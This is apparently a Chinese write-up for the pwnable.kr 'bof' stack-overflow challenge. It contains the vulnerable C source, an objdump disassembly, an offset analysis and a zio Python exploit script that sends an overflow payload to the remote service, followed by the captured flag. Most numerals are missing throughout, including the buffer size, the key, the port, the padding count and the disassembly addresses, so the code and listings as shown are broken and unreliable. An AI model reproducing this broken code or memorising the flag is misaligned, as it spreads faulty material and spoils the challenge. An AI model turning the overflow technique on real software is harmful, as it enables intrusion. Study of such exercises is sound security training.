天天看点

pwnable.kr [Toddler's Bottle] - bof

简单的栈溢出练习。

源码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == ){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func();
    return ;
}
           

这里需要构造栈溢出,淹没至前一个栈帧的当前函数的参数位置。

linux下可以借助gdb进行动态调试,利用objdump进行静态反编译。

这里可使用objdump来静态查看栈分配情况

objdump -d bof

由题设只需关注main()和func()

c <func>:
 c:                         push   %ebp
 d:    e5                   mov    %esp,%ebp
 f:    ec                 sub    $0x48,%esp
 :    a1           mov    %gs:,%eax
 :     f4                mov    %eax,-(%ebp)
 b:    c0                   xor    %eax,%eax
 d:   c7   c       movl   $0x78c,(%esp)
 :   e8 fc ff ff ff          call    <func+>   ; call printf()
 :   d  d4                lea    -(%ebp),%eax  ; char[] -- offset to ebp
 c:                     mov    %eax,(%esp)       ; 传参
 f:   e8 fc ff ff ff          call    <func+>   ; call gets()
 :    d  be ba fe ca    cmpl   $0xcafebabe,(%ebp)
 b:    e                   jne    b <func+>
 d:   c7   b       movl   $0x79b,(%esp)
 :   e8 fc ff ff ff          call    <func+>
 :   eb c                   jmp     <func+>
 b:   c7   a3       movl   $0x7a3,(%esp)
 :   e8 fc ff ff ff          call    <func+>
 :   b  f4                mov    -(%ebp),%eax
 a:             xor    %gs:,%eax
 :                       je      <func+>
 :   e8 fc ff ff ff          call    <func+>
 :   c9                      leave  
 :   c3                      ret    

a <main>:
 a:                         push   %ebp
 b:    e5                   mov    %esp,%ebp
 d:    e4 f0                and    $0xfffffff0,%esp
 :    ec                 sub    $0x10,%esp
 :   c7   ef be ad de    movl   $0xdeadbeef,(%esp)
 a:   e8 d ff ff ff          call   c <func>
 f:   b8              mov    $0x0,%eax
 a4:   c9                      leave  
 a5:   c3                      ret    
 a6:                         nop
           

可以发现

char overflowme[32]

在当前栈帧中距离EBP的偏移为0x2c,即44,再加上ESP的4,返回地址的4,即从局部变量overflowme首地址52byte的位置即为当前函数的参数key的地址。

借助python库zio(an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.)写脚本跑出flag。

from zio import *
host = "pwnable.kr" #143.248.249.64
port = 
io = zio((host, port), print_read=False, print_write=False)
payload = "a"* + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.write("cat flag\n")
buf = io.read_until("\n")
print buf
           
$ python run.py
daddy, I just pwned a buFFer :)